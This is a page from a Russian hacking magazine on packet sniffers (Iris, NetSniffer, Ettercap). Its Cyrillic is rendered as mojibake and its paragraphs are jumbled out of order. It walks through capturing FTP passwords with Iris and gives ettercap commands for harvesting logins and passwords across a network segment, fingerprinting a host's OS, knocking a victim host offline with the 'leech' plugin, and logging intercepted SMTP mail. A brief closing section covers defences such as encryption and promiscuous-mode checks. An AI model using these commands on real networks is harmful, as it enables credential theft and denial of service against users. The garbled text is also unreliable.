ЛЕГКИЙ ХАК - Xakep Online

ÑÍÈÔÔÅÐÛ
 ÁÎÉ!
Åñëè ñ NetSniffer-îì âñå ïîíÿòíî (ñêðèí 1), òî ñ Iris ñëîæíåå Òàê ÷òî äàâàé
ñ ñàìîãî íà÷àëà À ñíà÷àëà íàäî óêàçàòü, êàêîé äåâàéñ þçàòü (ñêðèí
2) Íåäîëãî äóìàÿ, ÿ íàæàë íà êíîïêó Play aka Start (âûãëÿäèò òàê æå, êàê
è íà âèäàêå), è ïîëèëîñü ðó÷üåì, ñêîêà èíôû-òî, íè÷åãî íå ïîíÿòü Íî
èíîãäà âñå-òàêè ïðîñêàêèâàþò ïîíÿòíûå äàííûå, íàïðèìåð, íà ñêðèíå 4
òû ìîæåøü ïðî÷èòàòü íåñêîëüêî ñëîâ (ÿ çàøåë íà wwwwzornet) Íî ýòî
âñå íå òî, íàì íóæíû ïàðîëè, ïîýòîìó ÿ ïðèêîííåêòèëñÿ ñ äðóãîé òà÷êè ê
ôòï, ââåäÿ ëîãèí è ïàðîëü Îñòàíàâëèâàåì ñíèôôåð è æìåì íà ïèìïó ïîä
íàçâàíèåì «decode buffer packets» (îíà íàõîäèòñÿ ëåâåå «play») Ãëÿíü íà
ñêðèí 5, ýòî òî, ÷òî îòëîâèëà è äåêîäèðîâàëà â íîðìàëüíîå ñîîáùåíèå
ettercap - NdzsCLi eth0
Îïðåäåëÿåì îïåðàöèîííóþ ñèñòåìó õîñòà ñ IP-àäðåñîì 127001:
ettercap - Ndzsfi eth0 127001
Ñìîòðèì óñòàíîâëåííûå ïëàãèíû è îïèñàíèÿ ê íèì:
ettercap - N -p list
Ðàññìîòðèì îäèí èç ïëàãèíîâ - leech, îí èçîëèðóåò óäàëåííûé õîñò îò ñåòè
Ïðîïèíãîâàâ õîñò, âèäèì, ÷òî îí â ñåòè Çàïóñêàåì ïëàãèí:
ettercap -Ndp leech 192168689
Your IP: 192168681 MAC: 00:50:BF:4A:48:F3 Iface: ed0
Starting /ec_leechso plugin
Building host list for netmask 2552552550, please wait
Sending 255 ARP request
Listening for replies
Isolating host 192168689 Press return to stop
Æäåì-ñ ïàðó ñåêîíäç è æìåì ^C, óñå, ñåòåâîé èíòåðôåéñ ïåðåñòàåò ðàáîòàòü
íà íåêîòîðîå âðåìÿ, íî ÎÑ è ïðèëîæåíèÿ ïðîäîëæàþò ðàáîòàòü íîðìàëüíî,
ýòîãî «íåêîòîðîãî âðåìåíè» õâàòàåò íà çàïîëó÷åíèå ip-àäðåñà
æåðòâû Ïèíãóåì äëÿ ïðîâåðêè!
PING 192168689 (192168689): 56 data bytes
—-192168689 ping statistics—-
4 packets transmitted, 0 packet received, 100% packet loss
Äëÿ ïåðåõâàòà íåçàøèôðîâàííûõ ïî÷òîâûõ ñîîáùåíèè áóäåì þçàòü:
/ettercap -Nzds :
Ïðèìåð - /ettercap -Nzds ANY:25 ANY > /root/sniffsmtp
èðèñêà; ïàðîëè è âñþ èíôó, êîòîðàÿ òåáÿ íå êàñàåòñÿ, ÿ çàêðàñèë =) Òàêæå
îíà ìîæåò âåñòè ëîãè, íî ýòèì óæå íèêîãî íå óäèâèøü À óäèâèòü òåáÿ
ìîæåò ìíîãî äðóãîå â ýòîé ñîôòèíå, íàïðèìåð, òî, ÷òî èðèñêà ìîæåò ðàáîòàòü
ïî ðàñïèñàíèþ, îíà èìååò êó÷ó ôèëüòðîâ, ïîýòîìó òû ìîæåøü êîíêðåòèçèðîâàòü
ñâîþ öåëü Çàìåòü, Iris ìîæåò ðàñêèäûâàòü ïàêåòû íå òîëüêî
ïî çàãîëîâêàì (IP-àäðåñ, ïîðò è òä), íî è ïî ñîäåðæàíèþ íåêîòîðîãî
ñëîâà â îáëàñòè ïàêåòà È åùå îäíîé îñîáåííîñòüþ ÷óäî-èðèñêè ÿâëÿåòñÿ
âîçìîæíîñòü äèíàìè÷åñêîãî íàáëþäåíèÿ çà ñåòüþ Ïî òâîåìó õîòåíèþ
îíà ìîæåò ïîñòðîèòü âñåâîçìîæíûå ãðàôèêè, îñíîâûâàÿñü íà èíôå, ïîñòóïàþùåé
íà ñåòåâóõó Òàê ìîæíî âûÿâèòü àòàêóþùèõ, ìîæíî áûñòðî
ïðîñìîòðåòü äèàãðàììó ñàìûõ àêòèâíûõ êîìïîâ â ñåòè è òä
ÊÎÍÒÐÌÅÐÛ
Áåçóñëîâíî, ëó÷øèé ñïîñîá çàùèòû îò ñíèôôèíãà - ýòî øèôðîâàíèå PGP,
SSH è ðàçëè÷íûå óòèëèòû äëÿ øèôðîâàíèÿ äîëæíû ñòàòü òâîèìè ëó÷øèìè
äðóçüÿìè! Íî åñòü åùå ñïîñîá äëÿ òîãî, ÷òîáû îáíàðóæèòü ñíèôôåð â ñèñòåìå:
íåîáõîäèìî ïðîâåðèòü, íå ðàáîòàåò ëè êàêîå-ëèáî èç ñåòåâûõ óñòðîéñòâ
â ñåòè â íåðàçáîð÷èâîì ðåæèìå Ïîä ëèíóêñ åñòü îäíî ñðåäñòâî -
ifconfig, ýòà òóëçà ñîîáùàåò î ñîñòîÿíèè ñåòåâûõ óñòðîéñòâ
Âîò è âñå! Ôó Åùå õî÷ó äîáàâèòü îäíî ñëîâî! Ñíèôôåðû ïðåäñòàâëÿþò
ñîáîé ñóùåñòâåííóþ óãðîçó áåçîïàñíîñòè â îñíîâíîì èç-çà òðóäíîñòè èõ
À òåïåðü ðåáóò, è áûñòðåå â ëèíóõ èëè ÷òî ó òåáÿ òàì Ñåé÷àñ ìû çàéìåìñÿ íå
ìåíåå ïîïóëÿðíûì ñíèôôàêîì - Ettercap Äëÿ íà÷àëà íåêîòîðûå åãî îïöèè:
-a, -s, -m - ðàçëè÷íûå âèäû ïðîñëóøèâàíèÿ (âûøå ÿ äàâàë ëèíê, òàì è ìîæåøü
ïðî íèõ ïðî÷èòàòü);
-N - çàïóñêàòü ñíèôôåð áåç ïñåâäîãðàôèêè;
-z - çàïóñê â ñïîêîéíîì ðåæèìå;
-d - íå ïðåîáðàçîâûâàòü IP-àäðåñà â èìåíà;
-i - ñåòåâîé èíòåðôåéñ;
-l - âûâåñòè ñïèñîê õîñòîâ â ñåòè;
-C - ñîáèðàòü âñå èìåíà è ïàðîëè ïîëüçîâàòåëåé;
-f - îïðåäåëåíèå îïåðàöèîííîé ñèñòåìû óäàëåííîãî õîñòà;
-p - ðàáîòà ñ ïëàãèíàìè;
-L - çàïèñûâàòü â ëîã, èìåþùèé ôîðìàò: ãîä-ìåñÿö-äåíü-collectedpasslog
Òåïåðü ðàññìîòðèì íåêîòîðûå âèäû èñïîëüçîâàíèÿ ýòîãî ñíèôôåðà Ñíà÷àëà
áóäåì ïåðåõâàòûâàòü âñå ïàðîëè â íàøåì ñåãìåíòå ñåòè è çàïèñûâàòü â ëîã:
îáíàðóæåíèÿ Èçó÷åíèå ñïîñîáîâ ïðèìåíåíèÿ «âûíþõèâàòåëåé» è ïîíèìàíèå
òîãî, êàê îíè ìîãóò áûòü èñïîëüçîâàíû ïðîòèâ òåáÿ, ñóùåñòâåííî
ïîìîæåò òåáå â çàùèòå îò îíûõ Óäà÷è!
A
page 037